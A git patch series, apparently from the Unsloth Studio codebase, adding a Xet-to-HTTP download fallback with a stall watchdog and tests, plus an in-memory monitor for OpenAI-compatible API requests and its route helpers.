+    def terminate(self):
+        self._alive = False
+
+    def kill(self):
+        self._alive = False
+
+    def join(self, timeout = None):
+        self._alive = False
+
+
+class _FakeQueue:
+    def put(self, *a, **k):
+        pass
+
+    def get(self, *a, **k):
+        raise queue.Empty
+
+
+class _FakeCtx:
+    def __init__(self):
+        self.spawned: list = []
+
+    def Queue(self):
+        return _FakeQueue()
+
+    def Process(self, **kwargs):
+        self.spawned.append(kwargs)
+        return _FakeProc(**kwargs)
+
+
+def _backend_mid_load():
+    b = TrainingBackend()
+    b._last_full_config = {"model_name": "org/model", "disable_xet": False, "hf_token": "tok"}
+    b._in_model_load = True
+    b._xet_fallback_used = False
+    proc = _FakeProc()
+    b._proc = proc
+    return b, proc
+
+
+def test_stall_during_load_arms_respawn_and_terminates_worker():
+    b, proc = _backend_mid_load()
+    b._handle_event({"type": "stall", "message": "no progress for 180s"})
+    assert b._needs_xet_respawn is True
+    assert b._xet_fallback_used is True
+    assert proc.is_alive() is False, "stalled worker must be terminated"
+
+
+def test_respawn_uses_disable_xet_and_preserves_run_row(monkeypatch):
+    b, _ = _backend_mid_load()
+    b._handle_event({"type": "stall", "message": "x"})
+
+    fake_ctx = _FakeCtx()
+    monkeypatch.setattr(training_mod, "_CTX", fake_ctx)
+    monkeypatch.setattr(b, "_pump_loop", lambda: None)  # neutralize the new pump
+    created = {"n": 0}
+    finalized = {"n": 0}
+    monkeypatch.setattr(
+        b, "_ensure_db_run_created", lambda: created.__setitem__("n", created["n"] + 1)
+    )
+    monkeypatch.setattr(
+        b, "_finalize_run_in_db", lambda **k: finalized.__setitem__("n", finalized["n"] + 1)
+    )
+
+    b._respawn_worker_disable_xet()
+
+    assert len(fake_ctx.spawned) == 1, "respawn must start exactly one worker"
+    cfg = fake_ctx.spawned[0]["kwargs"]["config"]
+    assert cfg["disable_xet"] is True, "respawned worker must run with Xet disabled"
+    assert cfg["model_name"] == "org/model"
+    assert created["n"] == 0, "respawn must not recreate the DB run row"
+    assert finalized["n"] == 0, "a successful respawn must not finalize the run as error"
+
+
+def test_second_stall_surfaces_error_without_respawn():
+    b, proc = _backend_mid_load()
+    b._xet_fallback_used = True  # HTTP fallback already spent
+    b._handle_event({"type": "stall", "message": "stalled again over http"})
+    assert b._needs_xet_respawn is False
+    assert b._progress.error and "stalled" in b._progress.error.lower()
+    assert proc.is_alive() is False
+
+
+def test_model_load_completed_disarms_recovery():
+    b, _ = _backend_mid_load()
+    b._handle_event({"type": "model_load_completed"})
+    assert b._in_model_load is False
+    # A stall after the load finished is not a transport stall to recover from.
+    b._handle_event({"type": "stall", "message": "post-load"})
+    assert b._needs_xet_respawn is False
+
+
+def test_model_load_started_arms_recovery_window():
+    b = TrainingBackend()
+    assert b._in_model_load is False
+    b._handle_event({"type": "model_load_started"})
+    assert b._in_model_load is True
+
+
+def test_child_should_disable_xet_truth_table():
+    from utils.hf_xet_fallback import child_should_disable_xet
+
+    assert child_should_disable_xet({"disable_xet": True}) is True
+    assert child_should_disable_xet({"disable_xet": False}) is False
+    assert child_should_disable_xet({}) is False
diff --git a/studio/backend/utils/hf_xet_fallback.py b/studio/backend/utils/hf_xet_fallback.py
new file mode 100644
index 0000000000..80f42f92d1
--- /dev/null
+++ b/studio/backend/utils/hf_xet_fallback.py
@@ -0,0 +1,405 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Xet-primary HF downloads with an automatic HTTP fallback on a no-progress stall.
+
+Xet (``hf_xet``) is the fast default but can hang with no progress and no
+exception, and a blocked native thread cannot be killed. Keep Xet primary; fall
+back to plain HTTP only when the parent observes a stall. ``HF_HUB_DISABLE_XET``
+is read at import time, so the fallback runs in a fresh ``spawn`` child (not a
+thread) that sets the env before importing ``huggingface_hub``. Cached files
+short-circuit with no child; deterministic errors (401/403/404/disk-full) and
+cancellation propagate without a fallback. Mirrors the safetensors inference
+recovery in core/inference/{orchestrator,worker}.py.
+"""
+
+from __future__ import annotations
+
+import multiprocessing as mp
+import os
+import queue
+import signal
+import sys
+import threading
+import time
+from typing import Any, Callable, Optional
+
+from loggers import get_logger
+
+logger = get_logger(__name__)
+
+_CTX = mp.get_context("spawn")
+
+# Defaults match the existing inference watchdog and hub shutdown deadline.
+DEFAULT_HEARTBEAT_INTERVAL = 30.0
+DEFAULT_STALL_TIMEOUT = 180.0
+DEFAULT_GRACE_PERIOD = 10.0
+_POLL_INTERVAL = 0.5
+
+
+class DownloadStallError(RuntimeError):
+    """Raised when no download progress is observed for too long.
+
+    Canonical home; orchestrator.py re-imports it so all paths share one type.
+    """
+
+
+def child_should_disable_xet(config: dict) -> bool:
+    """Single source of truth for the per-worker Xet env flip."""
+    return bool(config.get("disable_xet"))
+
+
+def get_hf_download_state(
+    repo_ids: Optional[list[str]] = None, *, repo_type: str = "model"
+) -> Optional[tuple[int, bool]]:
+    """Return ``(total_on_disk_bytes, has_incomplete)`` for the active HF cache.
+
+    Sparse-aware (st_blocks based) so a sparse Xet/``hf_transfer`` ``.incomplete``
+    is not mistaken for full-size progress. ``None`` means the state could not be
+    measured, so callers skip stall logic for that tick.
+    """
+    try:
+        from hub.utils.hf_cache_state import (
+            blob_bytes_present,
+            has_active_incomplete_blobs,
+            hf_cache_root,
+            iter_active_repo_cache_dirs,
+        )
+
+        if hf_cache_root() is None:
+            return (0, False)
+
+        total = 0
+        has_incomplete = False
+        for repo_id in repo_ids or []:
+            # Skip local paths: HF IDs never start with / . ~ or contain "\".
+            if not repo_id or repo_id.startswith(("/", ".", "~")) or "\\" in repo_id:
+                continue
+            for entry in iter_active_repo_cache_dirs(repo_type, repo_id):
+                blobs_dir = entry / "blobs"
+                if not blobs_dir.is_dir():
+                    continue
+                for blob in blobs_dir.iterdir():
+                    try:
+                        if blob.is_file():
+                            total += blob_bytes_present(blob)
+                    except OSError:
+                        pass
+            if has_active_incomplete_blobs(repo_type, repo_id):
+                has_incomplete = True
+        return (total, has_incomplete)
+    except Exception as e:
+        logger.debug("Failed to determine HF download state: %s", e)
+        return None
+
+
+def start_watchdog(
+    *,
+    repo_ids: list[str],
+    on_stall: Callable[[str], None],
+    repo_type: str = "model",
+    interval: float = DEFAULT_HEARTBEAT_INTERVAL,
+    stall_timeout: float = DEFAULT_STALL_TIMEOUT,
+    xet_disabled: bool = False,
+    on_heartbeat: Optional[Callable[[str], None]] = None,
+) -> threading.Event:
+    """Start a daemon thread that fires ``on_stall(message)`` exactly once iff a
+    ``*.incomplete`` is present AND the on-disk size is unchanged for
+    *stall_timeout* seconds. The timer resets while no ``*.incomplete`` exists, so
+    post-download init is never misread as a stall. Returns a stop event the
+    caller sets when the download phase ends.
+    """
+    stop = threading.Event()
+    transport = "https" if xet_disabled else "xet"
+    fired = False
+
+    def _beat() -> None:
+        nonlocal fired
+        state = get_hf_download_state(repo_ids, repo_type = repo_type)
+        last_size = state[0] if state is not None else 0
+        last_change = time.monotonic()
+
+        while not stop.wait(interval):
+            state = get_hf_download_state(repo_ids, repo_type = repo_type)
+            now = time.monotonic()
+
+            if state is None:
+                if on_heartbeat is not None:
+                    on_heartbeat(f"Downloading ({transport} transport)...")
+                continue
+
+            current_size, has_incomplete = state
+            if current_size != last_size:
+                last_size = current_size
+                last_change = now
+
+            # Reset unless .incomplete confirms an active download, so model init
+            # and lock waits are not counted as a stall.
+            if not has_incomplete:
+                last_change = now
+            elif now - last_change >= stall_timeout:
+                if not fired:
+                    fired = True
+                    on_stall(
+                        f"Download appears stalled ({transport} transport) "
+                        f"-- no progress for {int(now - last_change)}s"
+                    )
+                return
+
+            if on_heartbeat is not None:
+                on_heartbeat(f"Downloading ({transport} transport)...")
+
+    threading.Thread(target = _beat, daemon = True, name = "hf-xet-watchdog").start()
+    return stop
+
+
+def _download_child_entry(
+    *,
+    repo_id: str,
+    filename: str,
+    token: Optional[str],
+    repo_type: str,
+    disable_xet: bool,
+    result_queue: Any,
+) -> None:
+    """Spawn-child entrypoint: download one file and report the result.
+
+    Top-level and picklable. Sets the Xet env BEFORE importing huggingface_hub,
+    forms its own process group so the parent can kill the whole transfer, and
+    never logs the token or signed URLs.
+    """
+    if hasattr(os, "setsid"):
+        try:
+            os.setsid()
+        except OSError:
+            pass
+
+    if disable_xet:
+        os.environ["HF_HUB_DISABLE_XET"] = "1"
+        # Keep the HTTP writer sequential and resumable (hf_transfer leaves sparse
+        # partials a sequential resume cannot safely continue).
+        os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = "0"
+    os.environ.setdefault("HF_HUB_DISABLE_PROGRESS_BARS", "1")
+
+    # Test-only fault injection (never set in production): stall the Xet attempt
+    # so the watchdog + HTTP fallback can be exercised against a real repo.
+    if not disable_xet and os.environ.get("UNSLOTH_HF_XET_FORCE_STALL") == "1":
+        import time as _t
+        try:
+            from huggingface_hub.constants import HF_HUB_CACHE
+
+            blobs = os.path.join(HF_HUB_CACHE, "models--" + repo_id.replace("/", "--"), "blobs")
+            os.makedirs(blobs, exist_ok = True)
+            with open(os.path.join(blobs, "xet-force-stall.incomplete"), "wb") as fh:
+                fh.write(b"\0" * 4096)
+        except OSError:
+            pass
+        while True:
+            _t.sleep(3600)
+
+    try:
+        from huggingface_hub import hf_hub_download
+        path = hf_hub_download(
+            repo_id = repo_id,
+            filename = filename,
+            repo_type = repo_type,
+            token = token,
+        )
+        result_queue.put({"ok": True, "path": path})
+    except BaseException as e:  # noqa: BLE001 - report every failure to the parent
+        error = f"{type(e).__name__}: {e}"
+        try:
+            from hub.utils.download_registry import scrub_secrets
+            error = scrub_secrets(error, hf_token = token)
+        except Exception:
+            pass
+        result_queue.put({"ok": False, "error": error})
+
+
+def _terminate_process_group(proc: "mp.process.BaseProcess", grace_period: float) -> None:
+    """Kill *proc* and its whole process group (Xet may spawn helper procs).
+
+    The child calls ``os.setsid()`` so its pgid equals its pid; signal via
+    ``os.killpg(pid, ...)`` -- NOT ``getpgid``, which before the child becomes a
+    group leader resolves to OUR group. SIGTERM, then SIGKILL after *grace_period*.
+    """
+    pid = proc.pid
+
+    def _signal_group(sig: int) -> None:
+        if pid is not None and hasattr(os, "killpg"):
+            try:
+                os.killpg(pid, sig)
+                return
+            except (ProcessLookupError, PermissionError, OSError):
+                pass
+        # Windows or pre-setsid: best effort on the single process.
+        try:
+            proc.terminate() if sig != getattr(signal, "SIGKILL", -9) else proc.kill()
+        except Exception:
+            pass
+
+    _signal_group(getattr(signal, "SIGTERM", signal.SIGINT))
+    proc.join(timeout = grace_period)
+    if proc.is_alive():
+        _signal_group(getattr(signal, "SIGKILL", signal.SIGTERM))
+        proc.join(timeout = 5.0)
+
+
+def _run_download_attempt(
+    repo_id: str,
+    filename: str,
+    token: Optional[str],
+    *,
+    repo_type: str,
+    disable_xet: bool,
+    cancel_event: Optional[threading.Event],
+    stall_timeout: float,
+    interval: float,
+    grace_period: float,
+    on_status: Optional[Callable[[str], None]],
+) -> tuple[str, Optional[str]]:
+    """Run one download in a spawn child supervised by the no-progress watchdog.
+
+    Returns ``("ok", path)``, ``("stall", None)``, ``("cancelled", None)``, or
+    ``("error", message)``. This is the seam tests monkeypatch to avoid spawning.
+    """
+    result_queue: Any = _CTX.Queue()
+    proc = _CTX.Process(
+        target = _download_child_entry,
+        kwargs = dict(
+            repo_id = repo_id,
+            filename = filename,
+            token = token,
+            repo_type = repo_type,
+            disable_xet = disable_xet,
+            result_queue = result_queue,
+        ),
+        daemon = True,
+    )
+    proc.start()
+
+    stalled = threading.Event()
+    stop_watchdog = start_watchdog(
+        repo_ids = [repo_id],
+        on_stall = lambda msg: stalled.set(),
+        repo_type = repo_type,
+        interval = interval,
+        stall_timeout = stall_timeout,
+        xet_disabled = disable_xet,
+        on_heartbeat = on_status,
+    )
+
+    result: Optional[dict] = None
+    try:
+        while proc.is_alive():
+            if cancel_event is not None and cancel_event.is_set():
+                _terminate_process_group(proc, grace_period)
+                return ("cancelled", None)
+            if stalled.is_set():
+                _terminate_process_group(proc, grace_period)
+                return ("stall", None)
+            try:
+                result = result_queue.get(timeout = _POLL_INTERVAL)
+                break
+            except queue.Empty:
+                continue
+        else:
+            # Process exited; drain any result it enqueued.
+            try:
+                result = result_queue.get_nowait()
+            except queue.Empty:
+                result = None
+    finally:
+        stop_watchdog.set()
+        proc.join(timeout = grace_period)
+
+    if result is None:
+        return (
+            "error",
+            f"download process for '{repo_id}/{filename}' exited "
+            f"(code={proc.exitcode}) without a result",
+        )
+    if result.get("ok"):
+        return ("ok", result["path"])
+    return ("error", result.get("error") or "unknown download error")
+
+
+def hf_hub_download_with_xet_fallback(
+    repo_id: str,
+    filename: str,
+    token: Optional[str],
+    *,
+    cancel_event: Optional[threading.Event] = None,
+    repo_type: str = "model",
+    stall_timeout: float = DEFAULT_STALL_TIMEOUT,
+    interval: float = DEFAULT_HEARTBEAT_INTERVAL,
+    grace_period: float = DEFAULT_GRACE_PERIOD,
+    on_status: Optional[Callable[[str], None]] = None,
+) -> str:
+    """Download a single file with Xet primary and HTTP as a stall-only fallback.
+
+    Returns the local cache path. Raises ``RuntimeError("Cancelled")`` if
+    *cancel_event* is set, re-raises a deterministic child error unchanged (no
+    fallback), and raises ``DownloadStallError`` only if BOTH transports stall.
+    """
+    # Finalized blob already cached: return it with no child and no network.
+    try:
+        from huggingface_hub import try_to_load_from_cache
+        cached = try_to_load_from_cache(repo_id, filename, repo_type = repo_type)
+        if isinstance(cached, str) and os.path.exists(cached):
+            return cached
+    except Exception as e:
+        logger.debug("Cached probe failed for %s/%s: %s", repo_id, filename, e)
+
+    if cancel_event is not None and cancel_event.is_set():
+        raise RuntimeError("Cancelled")
+
+    disable_xet = False
+    for attempt in range(2):
+        if disable_xet:
+            # Purge a non-HTTP partial before resuming over HTTP: an HTTP resume
+            # over a sparse Xet/hf_transfer partial silently corrupts the blob.
+            try:
+                from hub.utils.download_registry import prepare_cache_for_transport
+                prepare_cache_for_transport(repo_type, repo_id, "http")
+            except Exception as e:
+                logger.debug("prepare_cache_for_transport failed for %s: %s", repo_id, e)
+
+        kind, payload = _run_download_attempt(
+            repo_id,
+            filename,
+            token,
+            repo_type = repo_type,
+            disable_xet = disable_xet,
+            cancel_event = cancel_event,
+            stall_timeout = stall_timeout,
+            interval = interval,
+            grace_period = grace_period,
+            on_status = on_status,
+        )
+
+        if kind == "ok":
+            return payload  # type: ignore[return-value]
+        if kind == "cancelled":
+            raise RuntimeError("Cancelled")
+        if kind == "error":
+            # Deterministic failure: the other transport would fail identically.
+            raise RuntimeError(payload)
+        # kind == "stall"
+        if attempt == 0 and not disable_xet:
+            logger.warning(
+                "Download stalled for '%s/%s' -- retrying with HF_HUB_DISABLE_XET=1",
+                repo_id,
+                filename,
+            )
+            if on_status is not None:
+                on_status(f"{repo_id}/{filename}: Xet stalled, retrying over HTTP")
+            disable_xet = True
+            continue
+        raise DownloadStallError(
+            f"Download stalled for '{repo_id}/{filename}' even with "
+            f"HF_HUB_DISABLE_XET=1 -- check your network connection"
+        )
+
+    # Unreachable: the loop either returns or raises on each attempt.
+    raise DownloadStallError(f"Download failed for '{repo_id}/{filename}'")

From 14188d6f4592523c62144f20649e07558a37fcb3 Mon Sep 17 00:00:00 2001
From: alkinun <alkinunl@gmail.com>
Date: Tue, 16 Jun 2026 22:26:13 +0300
Subject: [PATCH 36/91] Add API server monitor in Studio (#5558)

* Add Studio API activity monitor

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Mark disconnected monitor streams cancelled

* Fix monitor lifecycle, parsing, and clock issues for PR #5558

Backend:
- Finalize the monitor entry as error on the chat-completions validation
  reject paths (addresses the codex P2 comment around line 2337). Adds a
  small _reject helper next to the api_monitor.start so each early-raise
  in the GGUF tool-passthrough, non-empty-messages, GGUF vision/audio,
  PIL image decode, and text-only model branches no longer leaves the
  entry stuck running until eviction.
- _monitor_openai_chunk is now defensive about malformed shapes
  (non-list choices, non-dict choice/delta) so a misbehaving provider
  chunk does not raise into the streaming generator and abort the
  user's response.
- _monitor_openai_sse_line accepts both data:value and data: value per
  SSE spec; previously the single-space-only prefix silently dropped
  tokens from compact emitters.
- openai_completions stream now keeps a residual buffer between
  aiter_bytes chunks so a data: line whose newline lands in the next
  TCP frame is reconstructed before parsing, instead of being dropped
  by the per-chunk splitlines call.

api_monitor:
- duration_ms is derived from time.monotonic anchors and clamped at 0,
  so NTP / manual clock steps no longer produce negative durations.
- finish() and fail() are idempotent: a second call (for example [DONE]
  arriving after the generator's finally block already ran) no longer
  moves finished_at or finished_monotonic.
- set_usage only derives total_tokens when no authoritative total has
  been recorded, so a later partial-usage chunk does not clobber a
  provider-reported total from an earlier chunk.
- _trim guards limit < 3 so the slice cannot underflow.

Tests:
- Adds regression coverage for the new idempotency, total preservation,
  monotonic clock, and _trim guard behaviour.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Mark monitored stream failures correctly

* Fix completions monitor failures

* Fix responses stream monitor cleanup

* Fix audio input API monitor lifecycle

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix API monitor review follow-ups

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix completions monitor usage accounting

* Fix API monitor cancellation and usage gaps

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Move API monitor into settings

* Fix API monitor review followups

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Lazy load API monitor details

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix API monitor review issues

* Finalize passthrough monitor on clean EOF

* Finalize monitor on chat validation rejects

* Fix API monitor review follow-ups

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix API monitor follow-up review issues

* Monitor embeddings and tool-call replies

* Cover tool-call monitor replies and cancellations

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scope API monitor entries by subject

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Finalize monitor entries on cancellation

* fix: address PR 5558 CI failures

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix: update provider proxy test stub

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 studio/backend/core/inference/api_monitor.py  |  286 ++++
 studio/backend/routes/inference.py            | 1218 ++++++++++++++---
 .../backend/tests/test_anthropic_messages.py  |  152 +-
 studio/backend/tests/test_api_monitor.py      |  222 +++
 .../tests/test_offline_gguf_cache_fallback.py |    8 +-
 .../tests/test_openai_tool_passthrough.py     | 1206 +++++++++++++++-
 .../tests/test_responses_tool_passthrough.py  |  393 ++++++
 .../src/features/chat/api/chat-api.ts         |   14 +
 .../frontend/src/features/chat/types/api.ts   |   32 +
 .../components/api-monitor-console.tsx        |  393 ++++++
 .../features/settings/tabs/api-keys-tab.tsx   |    3 +
 11 files changed, 3758 insertions(+), 169 deletions(-)
 create mode 100644 studio/backend/core/inference/api_monitor.py
 create mode 100644 studio/backend/tests/test_api_monitor.py
 create mode 100644 studio/frontend/src/features/settings/components/api-monitor-console.tsx

diff --git a/studio/backend/core/inference/api_monitor.py b/studio/backend/core/inference/api_monitor.py
new file mode 100644
index 0000000000..b4ecba1b9d
--- /dev/null
+++ b/studio/backend/core/inference/api_monitor.py
@@ -0,0 +1,286 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Small in-memory monitor for OpenAI-compatible API traffic."""
+
+from __future__ import annotations
+
+import threading
+import time
+import uuid
+from collections import deque
+from dataclasses import dataclass
+from typing import Any, Optional
+
+
+_MAX_ENTRIES = 50
+_MAX_PROMPT_CHARS = 12000
+_MAX_REPLY_CHARS = 12000
+_PREVIEW_CHARS = 360
+
+
+def _trim(text: Optional[str], limit: int) -> str:
+    if not text:
+        return ""
+    if len(text) <= limit:
+        return text
+    # Guard against limit < 3 (slice would underflow).
+    if limit <= 3:
+        return "..."[:limit]
+    return text[: limit - 3] + "..."
+
+
+@dataclass
+class ApiMonitorEntry:
+    id: str
+    endpoint: str
+    method: str
+    model: str
+    prompt: str
+    status: str
+    started_at: float
+    updated_at: float
+    subject: Optional[str] = None
+    # Monotonic anchors so duration math survives wall-clock steps (NTP).
+    started_monotonic: float = 0.0
+    finished_monotonic: Optional[float] = None
+    reply: str = ""
+    finished_at: Optional[float] = None
+    context_length: Optional[int] = None
+    prompt_tokens: Optional[int] = None
+    completion_tokens: Optional[int] = None
+    total_tokens: Optional[int] = None
+    total_tokens_authoritative: bool = False
+    error: Optional[str] = None
+
+    def snapshot(self, *, include_details: bool = True) -> dict[str, Any]:
+        duration_ms = None
+        if self.finished_monotonic is not None:
+            duration_ms = max(
+                0,
+                int((self.finished_monotonic - self.started_monotonic) * 1000),
+            )
+        elif self.finished_at is not None:
+            duration_ms = max(0, int((self.finished_at - self.started_at) * 1000))
+        context_usage = None
+        if self.total_tokens is not None and self.context_length:
+            context_usage = min(1.0, max(0.0, self.total_tokens / self.context_length))
+        payload = {
+            "id": self.id,
+            "endpoint": self.endpoint,
+            "method": self.method,
+            "model": self.model,
+            "prompt_preview": _trim(self.prompt, _PREVIEW_CHARS),
+            "reply_preview": _trim(self.reply, _PREVIEW_CHARS),
+            "prompt_truncated": len(self.prompt) > _PREVIEW_CHARS,
+            "reply_truncated": len(self.reply) > _PREVIEW_CHARS,
+            "status": self.status,
+            "started_at": self.started_at,
+            "updated_at": self.updated_at,
+            "finished_at": self.finished_at,
+            "duration_ms": duration_ms,
+            "context_length": self.context_length,
+            "context_usage": context_usage,
+            "prompt_tokens": self.prompt_tokens,
+            "completion_tokens": self.completion_tokens,
+            "total_tokens": self.total_tokens,
+            "error": self.error,
+        }
+        if include_details:
+            payload["prompt"] = self.prompt
+            payload["reply"] = self.reply
+        return payload
+
+
+class ApiMonitor:
+    def __init__(self, max_entries: int = _MAX_ENTRIES):
+        self._entries: deque[ApiMonitorEntry] = deque()
+        self._max_entries = max(0, max_entries)
+        self._lock = threading.Lock()
+
+    def start(
+        self,
+        *,
+        endpoint: str,
+        method: str,
+        model: str,
+        prompt: str,
+        context_length: Optional[int] = None,
+        subject: Optional[str] = None,
+    ) -> str:
+        now = time.time()
+        entry = ApiMonitorEntry(
+            id = f"apireq_{uuid.uuid4().hex[:12]}",
+            endpoint = endpoint,
+            method = method,
+            model = model or "default",
+            prompt = _trim(prompt, _MAX_PROMPT_CHARS),
+            status = "running",
+            started_at = now,
+            updated_at = now,
+            subject = subject,
+            started_monotonic = time.monotonic(),
+            context_length = context_length,
+        )
+        with self._lock:
+            self._entries.appendleft(entry)
+            self._trim_terminal_locked()
+        return entry.id
+
+    def append_reply(self, entry_id: Optional[str], text: str) -> None:
+        if not entry_id or not text:
+            return
+        with self._lock:
+            entry = self._find_locked(entry_id)
+            if entry is None:
+                return
+            entry.reply = _trim(entry.reply + text, _MAX_REPLY_CHARS)
+            entry.updated_at = time.time()
+
+    def set_reply(self, entry_id: Optional[str], text: str) -> None:
+        if not entry_id:
+            return
+        with self._lock:
+            entry = self._find_locked(entry_id)
+            if entry is None:
+                return
+            entry.reply = _trim(text, _MAX_REPLY_CHARS)
+            entry.updated_at = time.time()
+
+    def set_usage(
+        self,
+        entry_id: Optional[str],
+        *,
+        prompt_tokens: Optional[int] = None,
+        completion_tokens: Optional[int] = None,
+        total_tokens: Optional[int] = None,
+        context_length: Optional[int] = None,
+    ) -> None:
+        if not entry_id:
+            return
+        with self._lock:
+            entry = self._find_locked(entry_id)
+            if entry is None:
+                return
+            if prompt_tokens is not None:
+                entry.prompt_tokens = prompt_tokens
+            if completion_tokens is not None:
+                entry.completion_tokens = completion_tokens
+            if total_tokens is not None:
+                entry.total_tokens = total_tokens
+                entry.total_tokens_authoritative = True
+            elif not entry.total_tokens_authoritative and (
+                prompt_tokens is not None or completion_tokens is not None
+            ):
+                # Derive only when no authoritative total has been set;
+                # a later partial chunk must not clobber a provider total.
+                entry.total_tokens = (entry.prompt_tokens or 0) + (entry.completion_tokens or 0)
+            if context_length is not None:
+                entry.context_length = context_length
+            entry.updated_at = time.time()
+
+    def finish(
+        self,
+        entry_id: Optional[str],
+        status: str = "completed",
+    ) -> None:
+        if not entry_id:
+            return
+        with self._lock:
+            entry = self._find_locked(entry_id)
+            if entry is None:
+                return
+            # Idempotent: second call (e.g. [DONE] after the finally block
+            # already ran) must not move finished_*.
+            if entry.finished_at is not None:
+                return
+            now = time.time()
+            entry.status = status
+            entry.updated_at = now
+            entry.finished_at = now
+            entry.finished_monotonic = time.monotonic()
+            self._entries.remove(entry)
+            self._entries.appendleft(entry)
+            self._trim_terminal_locked()
+
+    def fail(self, entry_id: Optional[str], error: str) -> None:
+        if not entry_id:
+            return
+        with self._lock:
+            entry = self._find_locked(entry_id)
+            if entry is None:
+                return
+            if entry.finished_at is not None:
+                # Already terminal; refresh error text only.
+                if error:
+                    entry.error = _trim(error, 1000)
+                return
+            now = time.time()
+            entry.status = "error"
+            entry.error = _trim(error, 1000)
+            entry.updated_at = now
+            entry.finished_at = now
+            entry.finished_monotonic = time.monotonic()
+            self._entries.remove(entry)
+            self._entries.appendleft(entry)
+            self._trim_terminal_locked()
+
+    def snapshot(
+        self,
+        *,
+        include_details: bool = True,
+        subject: Optional[str] = None,
+    ) -> list[dict[str, Any]]:
+        with self._lock:
+            return [
+                entry.snapshot(include_details = include_details)
+                for entry in self._entries
+                if subject is None or entry.subject == subject
+            ]
+
+    def get(
+        self,
+        entry_id: str,
+        *,
+        subject: Optional[str] = None,
+    ) -> Optional[dict[str, Any]]:
+        with self._lock:
+            entry = self._find_locked(entry_id)
+            if entry is None:
+                return None
+            if subject is not None and entry.subject != subject:
+                return None
+            return entry.snapshot(include_details = True)
+
+    def active_count(self, *, subject: Optional[str] = None) -> int:
+        with self._lock:
+            return sum(
+                1
+                for entry in self._entries
+                if entry.status == "running" and (subject is None or entry.subject == subject)
+            )
+
+    def clear(self) -> None:
+        with self._lock:
+            self._entries.clear()
+
+    def _find_locked(self, entry_id: str) -> Optional[ApiMonitorEntry]:
+        for entry in self._entries:
+            if entry.id == entry_id:
+                return entry
+        return None
+
+    def _trim_terminal_locked(self) -> None:
+        terminal_seen = 0
+        kept: deque[ApiMonitorEntry] = deque()
+        for entry in self._entries:
+            if entry.status == "running":
+                kept.append(entry)
+                continue
+            if terminal_seen < self._max_entries:
+                kept.append(entry)
+                terminal_seen += 1
+        self._entries = kept
+
+
+api_monitor = ApiMonitor()
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index d7db0e6f8d..da266bf768 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -875,6 +875,7 @@ from auth.authentication import get_current_subject
 from state.tool_approvals import resolve_tool_decision
 
 from core.inference.key_exchange import decrypt_api_key
+from core.inference.api_monitor import api_monitor
 from core.inference.providers import get_provider_info, get_base_url
 from core.inference.external_provider import ExternalProviderClient
 from core.inference.chat_templates import resolve_effective_chat_template_override
@@ -1297,6 +1298,423 @@ def _strip_tool_xml_for_display(text: str, *, auto_heal_tool_calls: bool) -> str
 logger = get_logger(__name__)
 
 
+def _monitor_content_text(content) -> str:
+    if content is None:
+        return ""
+    if isinstance(content, str):
+        return content
+    if isinstance(content, list):
+        parts: list[str] = []
+        for part in content:
+            if isinstance(part, dict):
+                ptype = part.get("type")
+                if ptype in ("text", "input_text", "output_text"):
+                    text = part.get("text")
+                    if isinstance(text, str):
+                        parts.append(text)
+                elif ptype in ("image_url", "input_image", "image"):
+                    parts.append("[image]")
+                else:
+                    parts.append(f"[{ptype or 'content'}]")
+            else:
+                ptype = getattr(part, "type", None)
+                text = getattr(part, "text", None)
+                if isinstance(text, str):
+                    parts.append(text)
+                elif ptype in ("image_url", "input_image", "image"):
+                    parts.append("[image]")
+                elif ptype:
+                    parts.append(f"[{ptype}]")
+        return "\n".join(parts)
+    return str(content)
+
+
+def _monitor_prompt_from_messages(messages) -> str:
+    lines: list[str] = []
+    for msg in messages or []:
+        role = msg.get("role") if isinstance(msg, dict) else getattr(msg, "role", "")
+        content = msg.get("content") if isinstance(msg, dict) else getattr(msg, "content", "")
+        tool_calls = (
+            msg.get("tool_calls") if isinstance(msg, dict) else getattr(msg, "tool_calls", None)
+        )
+        text = _monitor_content_text(content)
+        if tool_calls and not text:
+            text = "[tool calls]"
+        if text:
+            lines.append(f"{role or 'message'}: {text}")
+    return "\n\n".join(lines)
+
+
+def _monitor_usage(
+    monitor_id: Optional[str],
+    usage: Optional[dict],
+    context_length = None,
+):
+    if not usage:
+        return
+    api_monitor.set_usage(
+        monitor_id,
+        prompt_tokens = usage.get("prompt_tokens") or usage.get("input_tokens"),
+        completion_tokens = usage.get("completion_tokens") or usage.get("output_tokens"),
+        total_tokens = usage.get("total_tokens"),
+        context_length = context_length,
+    )
+
+
+def _monitor_call_text(name: Any, arguments: Any = None) -> str:
+    call_name = str(name or "tool")
+    if arguments is None or arguments == "":
+        return f"Tool call: {call_name}"
+    if not isinstance(arguments, str):
+        args_text = json.dumps(arguments, default = str)
+    else:
+        args_text = arguments
+    if len(args_text) > 500:
+        args_text = args_text[:497] + "..."
+    return f"Tool call: {call_name}({args_text})"
+
+
